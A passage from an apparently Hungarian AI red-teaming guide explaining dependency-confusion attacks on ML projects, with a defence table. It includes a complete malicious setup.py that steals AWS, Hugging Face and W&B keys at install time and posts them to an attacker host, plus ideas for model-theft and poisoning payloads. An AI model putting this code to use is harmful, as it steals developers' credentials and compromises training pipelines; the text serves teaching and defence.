Az előző fejezetekben a modell, mint végtermék sebezhetőségeit vizsgáltuk. Megnéztük, hogyan lehet kompromittálni egy előre tanított modellt, vagy hogyan lehet kihasználni a transzfer tanulás gyengeségeit. Most egy szinttel lejjebb lépünk a technológiai veremben. Mi a helyzet azokkal a szoftveres építőelemekkel, amelyekből az AI/ML rendszereink felépülnek? A modell ellátási lánc nem csak a súlyokról és architektúrákról szól, hanem a kódról is, ami ezeket létrehozza, betanítja és futtatja.
Itt jön képbe a függőségi zavar, egy olyan támadási technika, amely a modern szoftverfejlesztés egyik alapkövét, a csomagkezelő rendszereket veszi célba. Egy AI projekt ritkán indul nulláról; ezernyi nyílt forráskódú könyvtárra támaszkodik a PyTorch-tól a Pandas-on át a Hugging Face Transformers-ig. Emellett a legtöbb szervezet belső, privát csomagokat is használ adatelőkészítésre, modell-verziózásra vagy belső API-k elérésére. A függőségi zavar pontosan ezt a hibrid, privát-nyilvános környezetet használja ki.
A támadás anatómiája
A függőségi zavar lényege, hogy a támadó ráveszi a csomagkezelőt (pl. a Python `pip`-jét), hogy egy nyilvános forrásból (pl. PyPI) töltsön le egy általa készített, rosszindulatú csomagot egy belső, privát csomag helyett. Ez azért lehetséges, mert a csomagkezelők alapértelmezett viselkedése gyakran a legmagasabb verziószámú csomag telepítése, függetlenül annak forrásától.
A támadás lépései egy Red Team szemszögéből:
- Felderítés (Reconnaissance): A cél a belső, nem publikus csomagok neveinek megszerzése. Források lehetnek:
- GitHub-ra vagy Pastebinre kiszivárgott
requirements.txtvagysetup.pyfájlok. - Nyilvános kódrészletek, amik importálják a belső csomagot (pl.
from my_corp_utils import data_loader). - A cég által publikált nyílt forráskódú projektek, melyek véletlenül hivatkoznak belső függőségekre.
- JavaScript fájlok elemzése, melyek gyakran tartalmaznak belső csomagneveket a build folyamatból.
- GitHub-ra vagy Pastebinre kiszivárgott
- Csomagfoglalás (Package Squatting): A felderített belső csomagnévvel a támadó létrehoz egy új projektet, és feltölti a nyilvános csomagtárba (pl. PyPI). A kulcs a verziószám: irreálisan magasra állítja, például
99.0.0-ra, hogy biztosan magasabb legyen, mint bármelyik belső verzió. - A rosszindulatú kód (Payload): A csomag `setup.py` fájljába vagy a `__init__.py`-ba kerül a kártékony kód. Ez a kód a telepítéskor vagy az első importáláskor lefut.
- A „zavar” kiváltása: Amikor egy fejlesztő vagy egy CI/CD pipeline futtatja a
pip installparancsot egy olyan környezetben, amely mind a belső, mind a nyilvános csomagtárat eléri, a `pip` összehasonlítja a verziókat. Mivel a99.0.0(nyilvános) >1.2.0(belső), a `pip` letölti és telepíti a támadó által készített csomagot.
AI-specifikus támadási vektorok és payloadok
A függőségi zavar önmagában egy általános szoftverellátási lánc támadás. Egy AI Red Teaming kontextusban azonban a payloadokat kifejezetten az ML-munkafolyamatok kompromittálására szabhatjuk.
# FIGYELEM: Ez egy rosszindulatú, demonstrációs célú setup.py fájl.
# NE FUTTASD!
from setuptools import setup
import os
import requests
import base64
# A payload lefut a 'pip install' során
# 1. Környezeti változók (pl. API kulcsok) ellopása
api_keys = {
"AWS_ACCESS_KEY_ID": os.getenv("AWS_ACCESS_KEY_ID"),
"AWS_SECRET_ACCESS_KEY": os.getenv("AWS_SECRET_ACCESS_KEY"),
"HUGGING_FACE_HUB_TOKEN": os.getenv("HUGGING_FACE_HUB_TOKEN"),
"WANDB_API_KEY": os.getenv("WANDB_API_KEY")
}
# 2. Adatok exfiltrálása egy külső szerverre
# Az adatokat base64 kódoljuk a könnyebb átvitelért
encoded_data = base64.b64encode(str(api_keys).encode('utf-8'))
requests.post("https://attacker-controlled-server.com/collect", data=encoded_data)
# 3. A legitim telepítés látszatának fenntartása
setup(
name='my-internal-lib',
version='99.0.0',
description='Ez a csomag a telepítéskor exfiltrálja a kulcsokat.',
# ... egyéb, ártalmatlannak tűnő metaadatok
)
A fenti példa csak a jéghegy csúcsa. Néhány kifinomultabb, AI-specifikus payload:
- Modell-lopás: A payload figyelheti a fájlrendszert, és amikor egy betanított modell (pl.
.pt,.h5,.safetensorskiterjesztéssel) mentésre kerül, azonnal feltölti egy külső szerverre. - Adatmérgezés a forrásnál: A rosszindulatú csomag felülírhatja a legitim adatbetöltő függvényeket (pl. egy PyTorch
DataLoader-t). A módosított betöltő finom, alig észrevehető zajt vagy trigger mintákat injektál a betanítási adatokba, ezzel backdoorokat létrehozva a modellben. - Hiperparaméter-szabotázs: A kód módosíthatja a tanítási ciklus során használt hiperparamétereket (pl. a tanulási rátát irreálisan magasra állítja), ezzel rontva a modell teljesítményét vagy megnövelve a betanítási költségeket.
- Inferencia-eltérítés: Ha a csomag egy éles (inference) környezetbe is bekerül, a payload futásidőben módosíthatja a modell bemenetét vagy kimenetét, lehetővé téve a predikciók manipulálását.
Védekezési stratégiák és azok kijátszása
AI Red Teamerként nemcsak a támadást kell ismerned, hanem a védekezési mechanizmusokat is, hogy felmérhesd egy szervezet érettségét és tesztelhesd a kontrollok hatékonyságát. Az alábbi táblázat összefoglalja a leggyakoribb védekezési módszereket és azok potenciális gyengeségeit.
| Védekezési Módszer | Hogyan működik? | Red Team szempont (gyengeségek) |
|---|---|---|
Függőségek rögzítése (Pinning)my-lib==1.2.3 |
A requirements.txt fájlban pontos verziószámokat adnak meg, megakadályozva a verziófrissítést. |
Önmagában kevés. A pip továbbra is kereshet a nyilvános tárolóban, és ha a belső csomag valamiért nem elérhető, de a publikus igen (ugyanazzal a verzióval), telepítheti azt. |
Hash-ellenőrzés--hash=sha256:... |
A verziószám mellett a csomag kriptográfiai hash-ét is rögzítik. A pip ellenőrzi, hogy a letöltött fájl hash-e megegyezik-e a várt értékkel. |
Nagyon hatékony. Nehéz kijátszani, ha következetesen alkalmazzák. Az AI Red Team feladata annak ellenőrzése, hogy ez a gyakorlat valóban mindenhol érvényesül-e, vagy vannak-e kivételek (pl. fejlesztői környezetek). |
Index URL explicit megadása--index-url |
A pip parancsnak expliciten megadják, hogy CSAK a belső csomagtárat használja. Ezzel teljesen kizárják a PyPI-t. |
Erős védelem. A gyengeség a konfigurációban rejlik. Ha egy fejlesztő vagy egy rosszul beállított CI pipeline mégis használja a --extra-index-url kapcsolót (pl. egy nyilvános csomag miatt), a sebezhetőség újra megnyílik. |
| Névtér-foglalás (Namespace Squatting) | A szervezet lefoglalja a belső csomagneveit a nyilvános tárolókban (pl. PyPI) egy üres vagy helyőrző csomaggal, megakadályozva, hogy más tegye ezt meg. | Reaktív és karbantartásigényes. Mi van, ha egy új belső csomagot hoznak létre, de elfelejtik lefoglalni a nevet? A Red Team feladata pont az ilyen „elfelejtett” csomagok felkutatása. |
A támadás sikere tehát nagyban függ a célkörnyezet konfigurációs fegyelmétől. Egy érett szervezetnél, ahol a hash-ellenőrzés és a szigorú index-URL használat alapkövetelmény, a függőségi zavar szinte lehetetlen. Egy lazább, fejlesztő-központúbb kultúrában azonban, ahol a kényelem felülírja a biztonsági szabályokat, ez a támadás rendkívül hatékony lehet a belső hálózatra való bejutás első lépéseként.
Ez a technika tökéletesen illusztrálja, hogy az AI ellátási lánc biztonsága nem áll meg a modellnél!
A teljes szoftverfejlesztési életciklust (SDLC) és annak minden komponensét vizsgálni kell, mert a leggyengébb láncszem – legyen az egy rosszul konfigurált csomagkezelő – az egész rendszert veszélyeztetheti.